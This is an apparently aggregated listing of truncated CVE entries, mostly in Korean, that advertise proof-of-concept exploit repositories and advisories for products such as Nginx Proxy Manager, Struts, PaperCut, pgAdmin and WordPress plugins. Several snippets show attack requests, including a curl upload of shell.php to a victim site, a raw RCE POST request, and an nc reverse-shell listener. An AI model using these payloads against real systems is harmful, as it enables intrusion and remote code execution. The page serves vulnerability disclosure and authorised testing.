CVE-2024-46256

CVE-2024-46256 Nginx Proxy Manager RCE 취약점 분석 환경 구축 1. Nginx Proxy Manager 2.11.3 환경 실행 root@kitploit: docker-compose up -d 또는 자동 스크립트를 사용할 수 있습니다: root@kitploit: python setupenvironment.py 2. Nginx Proxy Manager 접속 URL: http://localhost:81 초기 설정을 완료한 후 테스트 진행 기본 관리자 계정으로 로그인 이메일:...

CVE-2025-34159

CVE-2025-34159: Coolify의 Docker Compose 주입 취약점 취약점 개요 필드| 값 ---|--- CVE ID| CVE-2025-34159 영향 범위| Coolify ≤ v4.0.0-beta.420.6 수정 버전| v4.0.0-beta.420.7 심각도| 치명적 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OS 명령 주입, CWE-20 부적절한 입력 검증 요약 Coolify의 애플리케이션 배포...

cve-2021-3164

Church Rota 버전 2.6.4는 인증된 원격 코드 실행authenticated remote code execution에 취약합니다. 사용자는 임의의 파일을 업로드하고 실행하기 위해 파일 업로드 권한을 가질 필요가 없습니다. Church Rota에 로그인한 후, PHPSESSID를 본인의 것으로 교체하여 다음 요청을 보내십시오: root@kitploit: POST /resources.php?action=newsent HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 X11;...

struts-rce-cve-2017-5638

struts-rce-cve-2017-5638 Struts-RCE CVE-2017-5638 이것은 웹셸을 생성하고 콘솔에서 웹셸과 상호작용할 수 있는 bash/cmd 스타일 인터페이스를 제공하는 수정된 익스플로잇입니다...

CVE-2025-55182

CVE-2025-55182 root@kitploit: POST /formaction HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----Boundary Content-Length: 297 ------Boundary Content-Disposition: form-data; name="$ACTIONREF0" ------Boundary Content-Disposition: form-data; name="$ACTION0:0"...

unrealircd3.2.8.1-local-exploit

Tested on Metasploitable 3 USAGE Ruby On Attacker's shell root@kitploit: nc -nlvp 1111 On victim's shell root@kitploit: ruby exploit.rb 127.0.0.1 Expected output on attacker's shell root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Pytho...

Blackash-CVE-2025-12762

🔐 CVE-2025-12762 — pgAdmin 4의 심각한 RCE 취약점 🚨 문제 개요 pgAdmin 4 버전 ≤ 9.9 에 원격 코드 실행RCE 취약점이 존재합니다. 공격자는 pgAdmin이 서버 모드 로 실행 중이고 복원 중 PLAIN 형식 SQL 덤프 를 처리할 때 호스트에서 임의 명령 을 실행할 수 있습니다. ⚙️ 기술적 분석 📡 공격 벡터 네트워크 기반 — 원격으로 악용 가능 🌍 낮은 복잡성 — 트리거하기 쉬움 🧩 낮은 권한 필요 — 제한된 사용자 접근만으로 충분 🔑 사용자 상호작용 없음 — 트리거된 후 누구도 클릭할...

CVE-2023-27350

PaperCut NG/MG RCE CVE-2023-27350 CVE-2023-27350을 위한 간편한 Bash 익스플로잇입니다. 이 스크립트는 PaperCut 프린터 스크립팅 엔진을 통한 인증 우회, 환경 준비 및 명령어 주입을 자동화합니다. 시각적 증명 기본 rce: 리버스 셸 트리거: 빠른 시작 root@kitploit: Clone the repository git clone https://github.com/dezso-dfield/CVE-2023-27350.git Enter the directory cd...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 CVE-2023-36884 취약점을 완화하기 위한 임시 해결책. 이 취약점은 Windows 운영 체제에 영향을 미치며 악성 코드의 원격 실행을 허용할 수 있습니다. CVE-2023-36884 » CVE-2023-36884 CVE-2023-36884 취약점은 Windows 시스템에서 원격 코드 실행을 초래할 수 있는 중요한 보안 결함입니다. Microsoft는 아직 이 문제를 해결하기 위한 업데이트를 출시하지 않았습니다. 그러나 최종 해결책이 제공될 때까지 문제를 우회하기 위해 몇 가지...

CVE-2025-2294

🚨 Kubio AI Page Builder = 2.5.1 - 인증되지 않은 로컬 파일 포함 📝 설명 WordPress용 Kubio AI Page Builder 플러그인은 kubiohybridthemeloadtemplate 함수를 통해 2.5.1 이하의 모든 버전에서 로컬 파일 포함Local File Inclusion 취약점에 노출됩니다. 이를 통해 인증되지 않은 공격자가 서버의 임의 파일을 포함하고 실행할 수 있으며, 해당 파일에 포함된 모든 PHP 코드가 실행될 수 있습니다. 이 취약점은 접근 제어를 우회하고, 민감한 데이터...

Filament: Multi-factor authentication (app) codes can still be used after a newer code has been used

A flaw in the handling of one-time codes for app-based multi-factor authentication allows a previously issued code to be used after a newer code has already been accepted. This issue does not affect email-based MFA. Submitting the exact same code twice was already prevented, but any other code...

CVE-2025-12673

Flex QR Code Generator ' shell.php curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \ -F "action=flexqrupdateqr" \ -F "qrId=1" \ -F "qrData="data":"https://example.com"" \ -F "[email protected]" 세부 정보 취약점은 FlexQrCodeGenerator 클래스의 updateqrcode 메서드에 존재합니다. 이 플러그인은 인증되지 않은 사용자를...

CVE-2023-32571

🐞 CVE-2023-32571 - System.Linq.Dynamic.Core 원격 코드 실행 CVE-2023-32571에 대한 개념 증명Proof of Concept으로, System.Linq.Dynamic.Core1.0.7.10 1.2.25의 원격 코드 실행 취약점입니다. 이 취약점은 Where, Select, OrderBy를 포함한 메서드에 신뢰할 수 없는 입력이 파싱될 때 공격자가 임의 코드와 명령을 실행할 수 있게 합니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 사전 상호 동의 없이...

CVE-2024-7591-PoC

CVE-2024-7591-PoC これらのPoC Pythonスクリプトは、Kemp LoadMasterのリモートコード実行をテストします。 このツールはテスト目的のみに使用してください これらのスクリプトは、Marius Walter氏によるこのエクスプロイトの詳細な解説に基づいています。彼の記事は以下で読むことができます： https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE エクスプロイト expr-eval および expr-eval-fork npm パッケージにおける CVE-2025-12735 脆弱性を検出・テストするためのセキュリティ研究ツール。 ⚠️ 免責事項 このツールは許可されたセキュリティテストおよび教育目的のみ に使用してください。コンピュータシステムへの不正アクセスは違法です。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。 📋 概要 CVE-2025-12735 は、expr-eval および expr-eval-fork npm...

CVE-2026-83549

Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SMA1000 Appliance Management Console AMC which in specific conditions could potentially enable a remote authenticated attacker as administrator to...

CVE-2026-83549

Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SMA1000 Appliance Management Console AMC which in specific conditions could potentially enable a remote authenticated attacker as administrator to...

CVE-2026-83549

CVE-2026-83549 is a post-authentication OS Command Injection (CWE-78) in the SonicWall SMA1000 Appliance Management Console (AMC) , scored CVSS 7.8 (High) with a local attack vector. In specific conditions, a remote authenticated attacker with administrator privileges can execute arbitrary OS com...

CVE-2026-84374

Laravel Excel (Maatwebsite) versions 3.1.8 through 3.1.70 contain a path-traversal flaw in Maatwebsite\Excel\Files\Disk::copy() (src/Files/Disk.php). The method resolves a caller-controlled $destination passed via Excel::store(), $export->store(), or storeExcel() against the process working di...

CVE-2026-84374 Laravel Excel writes exports outside the configured filesystem disk when given a caller-controlled path

Laravel Excel provides supercharged Excel exports and imports in Laravel. From 3.1.8 until 3.1.70, in src/Files/Disk.php the Maatwebsite\Excel\Files\Disk::copy method resolves the caller-controlled $destination supplied through Excel::store, $export-store, or storeExcel against the process workin...